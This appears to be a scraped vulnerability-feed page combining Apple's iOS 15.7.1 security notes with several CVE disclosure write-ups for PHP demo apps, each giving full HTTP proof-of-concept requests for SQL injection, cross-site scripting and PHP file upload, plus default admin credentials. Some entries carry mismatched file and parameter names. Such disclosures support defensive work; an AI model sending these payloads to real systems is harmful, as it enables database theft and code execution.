A permissions issue was addressed with additional restrictions. This issue is fixed in iOS 15.7.1 and iPadOS 15.7.1, iOS 15.7 and iPadOS 15.7, iOS 16.1 and iPadOS 16. An app may be able to access iOS backups.

Released October 27, 2022

**Apple Neural Engine**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: An app may be able to execute arbitrary code with kernel privileges

Description: The issue was addressed with improved memory handling.

CVE-2022-32932: Mohamed Ghannam (@\_simo36)

**Audio**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: Parsing a maliciously crafted audio file may lead to disclosure of user information

Description: The issue was addressed with improved memory handling.

CVE-2022-42798: Anonymous working with Trend Micro Zero Day Initiative

**Backup**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: An app may be able to access iOS backups

Description: A permissions issue was addressed with additional restrictions.

CVE-2022-32929: Csaba Fitzl (@theevilbit) of Offensive Security

**FaceTime**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: A user may be able to view restricted content from the lock screen

Description: A lock screen issue was addressed with improved state management.

CVE-2022-32935: Bistrit Dahal

**Graphics Driver**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: An app may be able to execute arbitrary code with kernel privileges

Description: The issue was addressed with improved bounds checks.

CVE-2022-32939: Willy R. Vasquez of The University of Texas at Austin

**Image Processing**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: An app may be able to execute arbitrary code with kernel privileges

Description: This issue was addressed with improved checks.

CVE-2022-32949: Tingting Yin of Tsinghua University

**Kernel**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: An app may be able to execute arbitrary code with kernel privileges

Description: A memory corruption issue was addressed with improved state management.

CVE-2022-32944: Tim Michaud (@TimGMichaud) of Moveworks.ai

**Kernel**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: An app may be able to execute arbitrary code with kernel privileges

Description: A race condition was addressed with improved locking.

CVE-2022-42803: Xinru Chi of Pangu Lab, John Aakerblom (@jaakerblom)

**Kernel**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: An app with root privileges may be able to execute arbitrary code with kernel privileges

Description: The issue was addressed with improved bounds checks.

CVE-2022-32926: Tim Michaud (@TimGMichaud) of Moveworks.ai

**Kernel**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: An application may be able to execute arbitrary code with kernel privileges. Apple is aware of a report that this issue may have been actively exploited.

Description: An out-of-bounds write issue was addressed with improved bounds checking.

CVE-2022-42827: an anonymous researcher

**Kernel**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: An app may be able to execute arbitrary code with kernel privileges

Description: A logic issue was addressed with improved checks.

CVE-2022-42801: Ian Beer of Google Project Zero

**Model I/O**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: Processing a maliciously crafted USD file may disclose memory contents

Description: The issue was addressed with improved memory handling.

CVE-2022-42810: Xingwei Lin (@xwlin\_roy) and Yinyi Wu of Ant Security Light-Year Lab

**ppp**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: A buffer overflow may result in arbitrary code execution

Description: The issue was addressed with improved bounds checks.

CVE-2022-32941: an anonymous researcher

**Safari**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: Visiting a maliciously crafted website may leak sensitive data

Description: A logic issue was addressed with improved state management.

CVE-2022-42817: Mir Masood Ali, PhD student, University of Illinois at Chicago; Binoy Chitale, MS student, Stony Brook University; Mohammad Ghasemisharif, PhD Candidate, University of Illinois at Chicago; Chris Kanich, Associate Professor, University of Illinois at Chicago

**WebKit**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: Processing maliciously crafted web content may disclose internal states of the app

Description: A correctness issue in the JIT was addressed with improved checks.

WebKit Bugzilla: 242964  
CVE-2022-32923: Wonyoung Jung (@nonetype\_pwn) of KAIST Hacking Lab

**Wi-Fi**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: Joining a malicious Wi-Fi network may result in a denial-of-service of the Settings app

Description: The issue was addressed with improved memory handling.

CVE-2022-32927: Dr Hideaki Goto of Tohoku University, Japan

**zlib**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: A user may be able to cause unexpected app termination or arbitrary code execution

Description: This issue was addressed with improved checks.

CVE-2022-37434: Evgeny Legerov

CVE-2022-42800: Evgeny Legerov

CVE-2022-32929: About the security content of iOS 15.7.1 and iPadOS 15.7.1

Fast Food Ordering System v1.0 was discovered to contain a SQL injection vulnerability via the component /fastfood/purchase.php.

**Vulnerability Description**

Fast Food Ordering System v1.0 was discovered to contain a SQL injection vulnerability via the edit-admin.php. It is an open source project from campcodes.com. This vulnerability can lead to database information leakage.

1.  Vulnerability Submitter: Tr0e
    
2.  vendors: Fast Food Ordering System v1.0;
    
3.  The program is built using the xmapp/v3.3.0 and PHP/8.1.10 version;
    
4.  Vulnerability location: /fastfood/purchase.php
    

**Vulnerability Verification**

\[+\] Payload:

test'and(select\*from(select+sleep(3))a/\*\*/union/\*\*/select+1)='

POC：

POST /fastfood/purchase.php HTTP/1.1
Host: 192.168.0.111:91
Content\-Length: 259
Cache\-Control: max\-age\=0
Upgrade\-Insecure\-Requests: 1
Origin: http://192.168.0.111:91
Content\-Type: application/x\-www\-form\-urlencoded
User\-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q\=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.0.111:91/fastfood/order.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=rbcvgagjbbad1bbrbb62nukgmc
Connection: close
quantity\_0=&quantity\_1=&quantity\_2=&quantity\_3=&quantity\_4=&quantity\_5=&quantity\_6=&quantity\_7=&quantity\_8=&quantity\_9=&quantity\_10=&quantity\_11=&productid%5B%5D=23%7C%7C12&quantity\_12=10&customer=test'and(select\*from(select+sleep(3))a/\*\*/union/\*\*/select+1)\='

**How to verify**

Build the vulnerability environment according to the steps provided by the source code author and execute the poc provided above.

The vulnerability is located at the "Order - Save" function, you shuold inserts Payload when you save order，as shown in the following figure：

CVE-2022-43081: CVE_Hunter/SQLi-3.md at main · Tr0e/CVE_Hunter

A cross-site scripting (XSS) vulnerability in /fastfood/purchase.php of Fast Food Ordering System v1.0 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the customer parameter.

**Vulnerability Description**

Fast Food Ordering System v1.0 was discovered to contain a cross-site scripting (XSS) vulnerability via the purchase.php. It is an open source project from campcodes.com. This vulnerability allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the customer parameter.

1.  Vulnerability Submitter: Tr0e
    
2.  vendors: Fast Food Ordering System v1.0;
    
3.  The program is built using the xmapp/v3.3.0 and PHP/8.1.10 version;
    
4.  Vulnerability location: /fastfood/purchase.php
    

**Vulnerability Verification**

\[+\] Payload:

<script\>alert("XSS")</script\>

POC：

POST /fastfood/purchase.php HTTP/1.1
Host: 192.168.0.111:91
Content\-Length: 259
Cache\-Control: max\-age\=0
Upgrade\-Insecure\-Requests: 1
Origin: http://192.168.0.111:91
Content\-Type: application/x\-www\-form\-urlencoded
User\-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q\=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed\-exchange;v\=b3;q\=0.9
Referer: http://192.168.0.111:91/fastfood/order.php
Accept\-Encoding: gzip, deflate
Accept\-Language: zh\-CN,zh;q\=0.9,en;q\=0.8
Cookie: PHPSESSID\=rbcvgagjbbad1bbrbb62nukgmc
Connection: close

quantity\_0\=&quantity\_1\=&quantity\_2\=&quantity\_3\=&quantity\_4\=&quantity\_5\=&quantity\_6\=&quantity\_7\=&quantity\_8\=&quantity\_9\=&quantity\_10\=&quantity\_11\=&productid%5B%5D\=23%7C%7C12&quantity\_12\=10&customer\=<script\>alert("XSS")</script\>

**How to verify**

Build the vulnerability environment according to the steps provided by the source code author and execute the Payload provided above.

The vulnerability is located at the "Order - Save" function, you shuold inserts Payload when you save order，as shown in the following figure：

CVE-2022-43082: CVE_Hunter/XSS-4.md at main · Tr0e/CVE_Hunter

A cross-site scripting (XSS) vulnerability in admin-add-vehicle.php of Vehicle Booking System v1.0 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the v_name parameter.

**Vulnerability Description**

Vehicle Booking System v1.0 was discovered to contain a cross-site scripting (XSS) vulnerability via the admin-add-vehicle.php. It is an open source project from https://codeastro.com/ . This vulnerability allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the v\_name parameter.

1.  Vulnerability Submitter: Tr0e
    
2.  vendors: Vehicle Booking System in PHP with Source Code - CodeAstro
    
3.  The program is built using the xmapp/v3.3.0 and PHP/8.1.10 version
    
4.  Vulnerability location: /VehicleBooking-PHP/admin/admin-add-vehicle.php
    

**Vulnerability Verification**

\[+\] Payload:

<script\>alert("XSS")</script\>

POC：

POST http://192.168.0.120:91/VehicleBooking-PHP/admin/admin-add-vehicle.php HTTP/1.1
Host: 192.168.0.120:91
Content\-Length: 905
Cache\-Control: max\-age\=0
Upgrade\-Insecure\-Requests: 1
Origin: http://192.168.0.120:91
Content\-Type: multipart/form\-data; boundary\=\--\--WebKitFormBoundaryHwRD9k9A7fnBXCiu
User\-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q\=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed\-exchange;v\=b3;q\=0.9
Referer: http://192.168.0.120:91/VehicleBooking-PHP/admin/admin-add-vehicle.php
Accept\-Encoding: gzip, deflate
Accept\-Language: zh\-CN,zh;q\=0.9,en;q\=0.8
Cookie: PHPSESSID\=ldi7mdlvm8g7bnfhunuvrhp8ne
Connection: close

\--\--\--WebKitFormBoundaryHwRD9k9A7fnBXCiu
Content\-Disposition: form\-data; name\="v\_name"

<script\>alert("XSS")</script>
\--\--\--WebKitFormBoundaryHwRD9k9A7fnBXCiu
Content\-Disposition: form\-data; name\="v\_reg\_no"

aaa
\--\--\--WebKitFormBoundaryHwRD9k9A7fnBXCiu
Content\-Disposition: form\-data; name\="v\_pass\_no"

111
\--\--\--WebKitFormBoundaryHwRD9k9A7fnBXCiu
Content\-Disposition: form\-data; name\="v\_driver"

Demo User
\--\--\--WebKitFormBoundaryHwRD9k9A7fnBXCiu
Content\-Disposition: form\-data; name\="v\_category"

Bus
\--\--\--WebKitFormBoundaryHwRD9k9A7fnBXCiu
Content\-Disposition: form\-data; name\="v\_status"

Booked
\--\--\--WebKitFormBoundaryHwRD9k9A7fnBXCiu
Content\-Disposition: form\-data; name\="v\_dpic"; filename\="Tr0e.jpg"
Content\-Type: image/jpeg

123
\--\--\--WebKitFormBoundaryHwRD9k9A7fnBXCiu
Content\-Disposition: form\-data; name\="add\_veh"

\--\--\--WebKitFormBoundaryHwRD9k9A7fnBXCiu\--

**How to verify**

1.  Build the vulnerability environment according to the steps provided by the source code author;
2.  log in to the background management system through the default account and password（Email: admin@mail.com Password: codeastro.com）;
3.  The vulnerability lies in the "Vehicles - Add - Add Vehicle" function, you should inserts Payload when you Add Vehicle, as shown in the following figure：

CVE-2022-43084: CVE_Hunter/XSS-5.md at main · Tr0e/CVE_Hunter

An arbitrary file upload vulnerability in admin-add-vehicle.php of Vehicle Booking System v1.0 allows attackers to execute arbitrary code via a crafted PHP file.

**Vulnerability Description**

Arbitrary file upload vulnerability in Vehicle Booking System v1.0 allows attackers to execute arbitrary code via the file upload to admin-add-vehicle.php. It is an open source project from https://codeastro.com .

1.  Vulnerability Submitter: Tr0e
    
2.  vendors: Vehicle Booking System in PHP with Source Code - CodeAstro
    
3.  The program is built using the xmapp/v3.3.0 and PHP/8.1.10 version;
    
4.  Vulnerability location: /VehicleBooking-PHP/admin/admin-add-vehicle.php
    

**Vulnerability Verification**

\[+\] Payload:

POC：

POST http://192.168.0.120:91/VehicleBooking-PHP/admin/admin-add-vehicle.php HTTP/1.1
Host: 192.168.0.120:91
Content\-Length: 895
Cache\-Control: max\-age\=0
Upgrade\-Insecure\-Requests: 1
Origin: http://192.168.0.120:91
Content\-Type: multipart/form\-data; boundary\=\--\--WebKitFormBoundaryHwRD9k9A7fnBXCiu
User\-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q\=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed\-exchange;v\=b3;q\=0.9
Referer: http://192.168.0.120:91/VehicleBooking-PHP/admin/admin-add-vehicle.php
Accept\-Encoding: gzip, deflate
Accept\-Language: zh\-CN,zh;q\=0.9,en;q\=0.8
Cookie: PHPSESSID\=ldi7mdlvm8g7bnfhunuvrhp8ne
Connection: close

\--\--\--WebKitFormBoundaryHwRD9k9A7fnBXCiu
Content\-Disposition: form\-data; name\="v\_name"

Test
\--\--\--WebKitFormBoundaryHwRD9k9A7fnBXCiu
Content\-Disposition: form\-data; name\="v\_reg\_no"

aaa
\--\--\--WebKitFormBoundaryHwRD9k9A7fnBXCiu
Content\-Disposition: form\-data; name\="v\_pass\_no"

111
\--\--\--WebKitFormBoundaryHwRD9k9A7fnBXCiu
Content\-Disposition: form\-data; name\="v\_driver"

Demo User
\--\--\--WebKitFormBoundaryHwRD9k9A7fnBXCiu
Content\-Disposition: form\-data; name\="v\_category"

Bus
\--\--\--WebKitFormBoundaryHwRD9k9A7fnBXCiu
Content\-Disposition: form\-data; name\="v\_status"

Booked
\--\--\--WebKitFormBoundaryHwRD9k9A7fnBXCiu
Content\-Disposition: form\-data; name\="v\_dpic"; filename\="Tr0e.php"
Content\-Type: image/jpeg

<?php phpinfo();?\>
\--\--\--WebKitFormBoundaryHwRD9k9A7fnBXCiu
Content\-Disposition: form\-data; name\="add\_veh"

\--\--\--WebKitFormBoundaryHwRD9k9A7fnBXCiu\--

**How to verify**

1.  Build the vulnerability environment according to the steps provided by the source code author.
2.  log in to the background management system through the default account and password（Email: admin@mail.com Password: codeastro.com）;
3.  The vulnerability lies in the "Vehicles - Add - Add Vehicle" function, you should inserts Payload when you Add Vehicle, as shown in the following figure：

CVE-2022-43083: CVE_Hunter/RCE-2.md at main · Tr0e/CVE_Hunter

An arbitrary file upload vulnerability in add_product.php of Restaurant POS System v1.0 allows attackers to execute arbitrary code via a crafted PHP file.

**Vulnerability Description**

Arbitrary file upload vulnerability in Restaurant POS System v1.0 allows attackers to execute arbitrary code via the file upload to add\_product.php. It is an open source project from https://codeastro.com .

1.  Vulnerability Submitter: Tr0e
    
2.  vendors: Restaurant POS System in PHP with Source Code - CodeAstro
    
3.  The program is built using the xmapp/v3.3.0 and PHP/8.1.10 version
    
4.  Vulnerability location: /RestaurantPOS/Restro/admin/add\_product.php
    

**Vulnerability Verification**

\[+\] Payload:

POC：

POST http://192.168.0.120:91/RestaurantPOS/Restro/admin/add\_product.php HTTP/1.1
Host: 192.168.0.120:91
Content\-Length: 826
Cache\-Control: max\-age\=0
Upgrade\-Insecure\-Requests: 1
Origin: http://192.168.0.120:91
Content\-Type: multipart/form\-data; boundary\=\--\--WebKitFormBoundarySsF9wyDdPINlRtc6
User\-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q\=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed\-exchange;v\=b3;q\=0.9
Referer: http://192.168.0.120:91/RestaurantPOS/Restro/admin/add\_product.php
Accept\-Encoding: gzip, deflate
Accept\-Language: zh\-CN,zh;q\=0.9,en;q\=0.8
Cookie: PHPSESSID\=ldi7mdlvm8g7bnfhunuvrhp8ne
Connection: close

\--\--\--WebKitFormBoundarySsF9wyDdPINlRtc6
Content\-Disposition: form\-data; name\="prod\_name"

Test
\--\--\--WebKitFormBoundarySsF9wyDdPINlRtc6
Content\-Disposition: form\-data; name\="prod\_id"

f867c0fe4f
\--\--\--WebKitFormBoundarySsF9wyDdPINlRtc6
Content\-Disposition: form\-data; name\="prod\_code"

RFZN\-9372
\--\--\--WebKitFormBoundarySsF9wyDdPINlRtc6
Content\-Disposition: form\-data; name\="prod\_img"; filename\="Tr0e.php"
Content\-Type: image/jpeg

<?php phpinfo();?\>
\--\--\--WebKitFormBoundarySsF9wyDdPINlRtc6
Content\-Disposition: form\-data; name\="prod\_price"

100
\--\--\--WebKitFormBoundarySsF9wyDdPINlRtc6
Content\-Disposition: form\-data; name\="prod\_desc"

Tr0e Test
\--\--\--WebKitFormBoundarySsF9wyDdPINlRtc6
Content\-Disposition: form\-data; name\="addProduct"

Add Product
\--\--\--WebKitFormBoundarySsF9wyDdPINlRtc6\--

**How to verify**

1.  Build the vulnerability environment according to the steps provided by the source code author.
2.  log in to the "Admin Panel” through the default account and password（Email: admin@mail.com Password: codeastro.com）;
3.  The vulnerability lies in the "Products - Add New Product" function, you should inserts Payload when you add new product, as shown in the following figure：

CVE-2022-43085: CVE_Hunter/RCE-3.md at main · Tr0e/CVE_Hunter

Restaurant POS System v1.0 was discovered to contain a SQL injection vulnerability via update_customer.php.

**Vulnerability Description**

Restaurant POS System v1.0 was discovered to contain a SQL injection vulnerability via the update\_customer.php. It is an open source project from campcodes.com. This vulnerability can lead to database information leakage.

1.  Vulnerability Submitter: Tr0e
2.  vendors: Restaurant POS System in PHP with Source Code - CodeAstro
3.  The program is built using the xmapp/v3.3.0 and PHP/8.1.10 version;
4.  Vulnerability location: /RestaurantPOS/Restro/admin/update\_customer.php

**Vulnerability Verification**

\[+\] Payload:

test'and(select\*from(select+sleep(3))a/\*\*/union/\*\*/select+1)='

POC：

POST http://192.168.0.120:91/RestaurantPOS/Restro/admin/update\_customer.php?update=dac2ad667158'and(select\*from(select+sleep(3))a/\*\*/union/\*\*/select+1)=' HTTP/1.1
Host: 192.168.0.120:91
Content\-Length: 130
Cache\-Control: max\-age\=0
Upgrade\-Insecure\-Requests: 1
Origin: http://192.168.0.120:91
Content\-Type: application/x\-www\-form\-urlencoded
User\-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q\=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed\-exchange;v\=b3;q\=0.9
Referer: http://192.168.0.120:91/RestaurantPOS/Restro/admin/update\_customer.php?update=dac2ad667158
Accept\-Encoding: gzip, deflate
Accept\-Language: zh\-CN,zh;q\=0.9,en;q\=0.8
Cookie: PHPSESSID\=ldi7mdlvm8g7bnfhunuvrhp8ne
Connection: close

customer\_name\=Yao&customer\_phoneno\=13011113333&customer\_email\=123%40qq.com&customer\_password\=123456&updateCustomer\=Update+Customer

**How to verify**

1.  Build the vulnerability environment according to the steps provided by the source code author ;
2.  log in to the "Admin Panel” through the default account and password（Email: admin@mail.com Password: codeastro.com）;
3.  The vulnerability is located at the "Customers - Update" function, you should inserts Payload when you Update any customer's information，as shown in the following figure：

CVE-2022-43086: CVE_Hunter/SQLi-4.md at main · Tr0e/CVE_Hunter

A cross-site scripting (XSS) vulnerability in /admin/edit-admin.php of Web-Based Student Clearance System v1.0 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the txtemail parameter.

**Vulnerability Description**

Web-Based Student Clearance System in PHP Free Source Code v1.0 was discovered to contain a cross-site scripting (XSS) vulnerability via the componentedit-admin.php. It is an open source project from https://www.sourcecodester.com/. This vulnerability allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the txtemail parameter.

1.  BUG\_Author: Tr0e
    
2.  vendors: Web-Based Student Clearance System in PHP Free Source Code;
    
3.  The program is built using the xmapp/v3.3.0 and PHP/8.1.10 version;
    
4.  Vulnerability location: /student\_clearance\_system\_Aurthur\_Javis/admin/edit-admin.php
    

**Vulnerability Verification**

\[+\] Payload:

"><script>alert(1)</script>

POC：

POST http://192.168.0.111:91/student\_clearance\_system\_Aurthur\_Javis/admin/edit-admin.php?id=4 HTTP/1.1
Host: 192.168.0.111:91
Content\-Length: 486
Cache\-Control: max\-age\=0
Upgrade\-Insecure\-Requests: 1
Origin: http://192.168.0.111:91
Content\-Type: multipart/form\-data; boundary\=\--\--WebKitFormBoundaryZuvZCgQkb37Jezph
User\-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q\=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed\-exchange;v\=b3;q\=0.9
Referer: http://192.168.0.111:91/student\_clearance\_system\_Aurthur\_Javis/admin/edit-admin.php?id=4
Accept\-Encoding: gzip, deflate
Accept\-Language: zh\-CN,zh;q\=0.9,en;q\=0.8
Cookie: PHPSESSID\=e8pdd3dv0b39d1h4vcj99q01cq
Connection: close

\--\--\--WebKitFormBoundaryZuvZCgQkb37Jezph
Content\-Disposition: form\-data; name\="txtfullname"

EKE, EMMANUEL EFA\-EVAL
\--\--\--WebKitFormBoundaryZuvZCgQkb37Jezph
Content\-Disposition: form\-data; name\="txtemail"

"><script>alert(1)</script>
\------WebKitFormBoundaryZuvZCgQkb37Jezph
Content-Disposition: form-data; name="cmddesignation"
Admin
\------WebKitFormBoundaryZuvZCgQkb37Jezph
Content-Disposition: form-data; name="btnedit"


------WebKitFormBoundaryZuvZCgQkb37Jezph--

**How to verify**

Build the vulnerability environment according to the steps provided by the source code author (Log in with the default account and password:admin/admin123) and execute the Payload provided above.

The vulnerability lies in the "User Manager - User Record - Action - Edit" function, you shuold inserts Payload when editing administrator user information，as shown in the following figure：

CVE-2022-43076: CVE_Hunter/XSS-1.md at main · Tr0e/CVE_Hunter

A cross-site scripting (XSS) vulnerability in /admin/add-fee.php of Web-Based Student Clearance System v1.0 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the cmddept parameter.

**Vulnerability Description**

Web-Based Student Clearance System v1.0 was discovered to contain a cross-site scripting (XSS) vulnerability via the add-fee.php. It is an open source project from https://www.sourcecodester.com/. This vulnerability allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the cmddept parameter.

1.  BUG\_Author: Tr0e
    
2.  vendors: Web-Based Student Clearance System in PHP Free Source Code;
    
3.  The program is built using the xmapp/v3.3.0 and PHP/8.1.10 version;
    
4.  Vulnerability location: /student\_clearance\_system\_Aurthur\_Javis/admin/add-fee.php
    

**Vulnerability Verification**

\[+\] Payload:

"><script>alert(1)</script>

POC：

POST http://192.168.0.111:91/student\_clearance\_system\_Aurthur\_Javis/admin/add-fee.php HTTP/1.1
Host: 192.168.0.111:91
Content\-Length: 122
Cache\-Control: max\-age\=0
Upgrade\-Insecure\-Requests: 1
Origin: http://192.168.0.111:91
Content\-Type: application/x\-www\-form\-urlencoded
User\-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q\=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed\-exchange;v\=b3;q\=0.9
Referer: http://192.168.0.111:91/student\_clearance\_system\_Aurthur\_Javis/admin/add-fee.php
Accept\-Encoding: gzip, deflate
Accept\-Language: zh\-CN,zh;q\=0.9,en;q\=0.8
Cookie: PHPSESSID\=rbcvgagjbbad1bbrbb62nukgmc
Connection: close

cmdsession\=2020%2F2021&cmdfaculty\=Select+faculty&cmddept\=%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E&txtamt\=2000&btnAdd\=

**How to verify**

Build the vulnerability environment according to the steps provided by the source code author (Log in with the default account and password:admin/admin123) and execute the Payload provided above.

The vulnerability is located at the "Fee Management - Add Fee" function, you shuold inserts Payload when you add new file，as shown in the following figure：

CVE-2022-43078: CVE_Hunter/XSS-2.md at main · Tr0e/CVE_Hunter

A cross-site scripting (XSS) vulnerability in /admin/add-fee.php of Train Scheduler App v1.0 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the cmddept parameter.

**Vulnerability Description**

Train Scheduler App v1.0 was discovered to contain a cross-site scripting (XSS) vulnerability via the add-fee.php. It is an open source project from https://www.sourcecodester.com/. This vulnerability allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the cmddept parameter.

1.  BUG\_Author: Tr0e
    
2.  vendors: sourcecodester.com;
    
3.  The program is built using the xmapp/v3.3.0 and PHP/8.1.10 version;
    
4.  Vulnerability location: /train\_scheduler\_app/?id=&code=aaa&name=bbb&destination=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&duration=60&eta=30
    

**Vulnerability Verification**

\[+\] Payload:

<script\>alert(1)</script\>

POC：

POST http://192.168.0.111:91/train\_scheduler\_app/ HTTP/1.1
Host: 192.168.0.111:91
Cache\-Control: max\-age\=0
Upgrade\-Insecure\-Requests: 1
Origin: http://192.168.0.111:91
User\-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q\=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed\-exchange;v\=b3;q\=0.9
Referer: http://192.168.0.111:91/train\_scheduler\_app/
Accept\-Encoding: gzip, deflate
Accept\-Language: zh\-CN,zh;q\=0.9,en;q\=0.8
Cookie: PHPSESSID\=rbcvgagjbbad1bbrbb62nukgmc
Connection: close
Content\-Type: application/x\-www\-form\-urlencoded
Content\-Length: 92

id\=&code\=aaa&name\=bbb&destination\=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&duration\=60&eta\=30

**How to verify**

Build the vulnerability environment according to the steps provided by the source code author and execute the Payload provided above.

The vulnerability is located at the "Save Schedule" function, you shuold inserts Payload when you add new file，as shown in the following figure：

Tag

#webkit